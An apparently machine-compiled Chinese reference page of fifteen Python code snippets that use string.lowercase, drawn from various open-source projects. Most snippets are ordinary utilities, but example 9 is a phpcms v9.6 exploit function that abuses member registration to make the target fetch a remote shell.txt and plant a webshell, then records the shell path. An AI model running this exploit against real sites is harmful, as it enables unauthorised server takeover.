当前位置: 首页>>代码示例>>Python>>正文


Python string.lowercase方法代码示例

本文整理汇总了Python中string.lowercase方法的典型用法代码示例。如果您正苦于以下问题:Python string.lowercase方法的具体用法?Python string.lowercase怎么用?Python string.lowercase使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在string的用法示例。


在下文中一共展示了string.lowercase方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: int2base

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def int2base(x, base):
        import string

        digs = string.digits + string.lowercase
        if x < 0:
            sign = -1
        elif x == 0:
            return '0'
        else:
            sign = 1
        x *= sign
        digits = []
        while x:
            digits.append(digs[x % base])
            x /= base
        if sign < 0:
            digits.append('-')
        digits.reverse()
        return ''.join(digits) 
开发者ID:OpenMTC,项目名称:OpenMTC,代码行数:21,代码来源:parsers.py

示例2: getLogLineBNF

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def getLogLineBNF():
    global logLineBNF
    
    if logLineBNF is None:
        integer = Word( nums )
        ipAddress = delimitedList( integer, ".", combine=True )
        
        timeZoneOffset = Word("+-",nums)
        month = Word(string.uppercase, string.lowercase, exact=3)
        serverDateTime = Group( Suppress("[") + 
                                Combine( integer + "/" + month + "/" + integer +
                                        ":" + integer + ":" + integer + ":" + integer ) +
                                timeZoneOffset + 
                                Suppress("]") )
                         
        logLineBNF = ( ipAddress.setResultsName("ipAddr") + 
                       Suppress("-") +
                       ("-" | Word( alphas+nums+"@._" )).setResultsName("auth") +
                       serverDateTime.setResultsName("timestamp") + 
                       dblQuotedString.setResultsName("cmd").setParseAction(getCmdFields) +
                       (integer | "-").setResultsName("statusCode") + 
                       (integer | "-").setResultsName("numBytesSent")  + 
                       dblQuotedString.setResultsName("referrer").setParseAction(removeQuotes) +
                       dblQuotedString.setResultsName("clientSfw").setParseAction(removeQuotes) )
    return logLineBNF 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:27,代码来源:httpServerLogParser.py

示例3: increment

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
开发者ID:aliyun,项目名称:oss-ftp,代码行数:20,代码来源:texi2html.py

示例4: __call__

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def __call__(self, *typeargs):
        if len(typeargs) < 1:
            msg = "Missing type args in statement: `data.%s()`" % self.name
            raise SyntaxError(msg)

        # make sure all type params are strings
        if not all((type(arg) == str for arg in typeargs)):
            raise SyntaxError("Type parameters must be strings")

        # make sure all type params are letters only
        is_letters = lambda xs: all((x in string.lowercase for x in xs))
        if not all((is_letters(arg) for arg in typeargs)):
            raise SyntaxError("Type parameters must be lowercase letters")

        # all type parameters must have unique names
        if len(typeargs) != len(set(typeargs)):
            raise SyntaxError("Type parameters are not unique")

        return __new_tcon_hkt__(self.name, typeargs) 
开发者ID:billpmurphy,项目名称:hask,代码行数:21,代码来源:syntax.py

示例5: to_lower

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def to_lower(string):
    """:yaql:toLower

    Returns a string with all case-based characters lowercase.

    :signature: string.toLower()
    :receiverArg string: value to lowercase
    :argType string: string
    :returnType: string

    .. code::

        yaql> "AB1c".toLower()
        "ab1c"
    """
    return string.lower() 
开发者ID:openstack,项目名称:yaql,代码行数:18,代码来源:strings.py

示例6: pattern_gen

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
开发者ID:Und3rf10w,项目名称:security-scripts,代码行数:21,代码来源:pattern.py

示例7: main

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def main(argv):

	if (len(sys.argv) != 5):
		sys.exit('Usage: simple_pass.py <upper_case> <lower_case> <digit> <special_characters>')
    
	password = ''
	
	for i in range(len(argv)):
		for j in range(int(argv[i])):
			if i == 0:
				password += string.uppercase[random.randint(0,len(string.uppercase)-1)]
			elif i == 1:
				password += string.lowercase[random.randint(0,len(string.lowercase)-1)]
			elif i == 2:
				password += string.digits[random.randint(0,len(string.digits)-1)]
			elif i == 3:
				password += string.punctuation[random.randint(0,len(string.punctuation)-1)]
	
	print 'You new password is: ' + ''.join(random.sample(password,len(password))) 
开发者ID:ActiveState,项目名称:code,代码行数:21,代码来源:recipe-578396.py

示例8: write_file

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %s data into file %s" % (capacity, path))
    out = utils.get_capacity_suffix_size(capacity)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    repeat = int(out['capacity_byte'] / 64)
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
开发者ID:libvirt,项目名称:libvirt-test-API,代码行数:18,代码来源:dir_vol_download.py

示例9: getshell

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def getshell(self,host):
        try:
            url = '%s/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1' % host
            flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
            flags = ''.join([random.choice(string.digits) for _ in range(8)])
            headers = {
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Upgrade-Insecure-Requests':'1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'}
            data = "siteid=1&amp;modelid=11&amp;username={}&amp;password=ad{}min&amp;email={}@cnnetarmy.com&amp;info%5Bcontent%5D=%3Cimg%20src=http://www.cnnetarmy.com/soft/shell.txt?.php#.jpg&gt;&amp;dosubmit=1&amp;protocol=".format(flag,flags,flag)
            r = requests.post(url=url,headers=headers,data=data,timeout=5)
            #print r.content
            shell_path = re.findall(r'lt;img src=(.*?)&gt;',str(r.content))[0]
            print '[*] shell: %s  | pass is: cmd' % shell_path
            with open('sql_ok.txt','a')as tar:
                tar.write(shell_path)
                tar.write('\n')
        except:
            print 'requests error.'
            pass 
开发者ID:nanshihui,项目名称:PocCollect,代码行数:25,代码来源:phpcms_v9_6.py

示例10: computeSize

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def computeSize(self, *args):
        barWidth = self.barWidth
        oa, oA = ord('a') - 1, ord('A') - 1

        w = 0.0

        for c in self.decomposed:
            oc = ord(c)
            if c in string.lowercase:
                w = w + barWidth * (oc - oa)
            elif c in string.uppercase:
                w = w + barWidth * (oc - oA)

        if self.barHeight is None:
            self.barHeight = w * 0.15
            self.barHeight = max(0.25 * inch, self.barHeight)

        if self.quiet:
            w += self.lquiet + self.rquiet

        self._height = self.barHeight
        self._width = w 
开发者ID:gltn,项目名称:stdm,代码行数:24,代码来源:common.py

示例11: getRandStr

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def getRandStr(length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
开发者ID:tatanus,项目名称:apt2,代码行数:4,代码来源:utils.py

示例12: test_attrs

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
开发者ID:IronLanguages,项目名称:ironpython2,代码行数:12,代码来源:test_string.py

示例13: path_and_rename

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def path_and_rename(path):
        def wrapper(instance, filename):
            ext = filename.split('.')[-1]
            f_name = '-'.join(filename.replace('.pdf', '').split() )
            rand_strings = ''.join( random.choice(string.lowercase+string.digits) for i in range(10) )
            filename = '{}_{}{}.{}'.format(f_name, rand_strings, uuid4().hex, ext)
            return os.path.join(path, filename)
        return wrapper

    # Please comment `validators=[pdf_validator]` before migrate/makemigrations your database.
    # For more: https://docs.djangoproject.com/en/1.9/topics/migrations/#serializing-values 
开发者ID:agusmakmun,项目名称:Some-Examples-of-Simple-Python-Script,代码行数:13,代码来源:Auto rename file upload.py

示例14: _make_tag_list

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def _make_tag_list(n=26):
    '''Returns a list of tag dicts, starting with 'aa, bb, ..., zz', then
    'aaa, bbb, ..., zzz', etc. Tags must be at least 2 characters.'''
    lc = string.lowercase
    lc_len = len(lc)
    return [{'name': lc[i % lc_len] * int(math.ceil(i / lc_len) + 2)}
            for i in range(0, n)] 
开发者ID:italia,项目名称:daf-recipes,代码行数:9,代码来源:test_tags.py

示例15: randpar

# 需要导入模块: import string [as 别名]
# 或者: from string import lowercase [as 别名]
def randpar():
    return " ".join(["".join([random.choice(string.lowercase)
                              for j in range(random.randint(1, 3))])
                     for i in range(random.randint(100, 300))]) 
开发者ID:pyx-project,项目名称:pyx,代码行数:6,代码来源:textboxes.py


注:本文中的string.lowercase方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。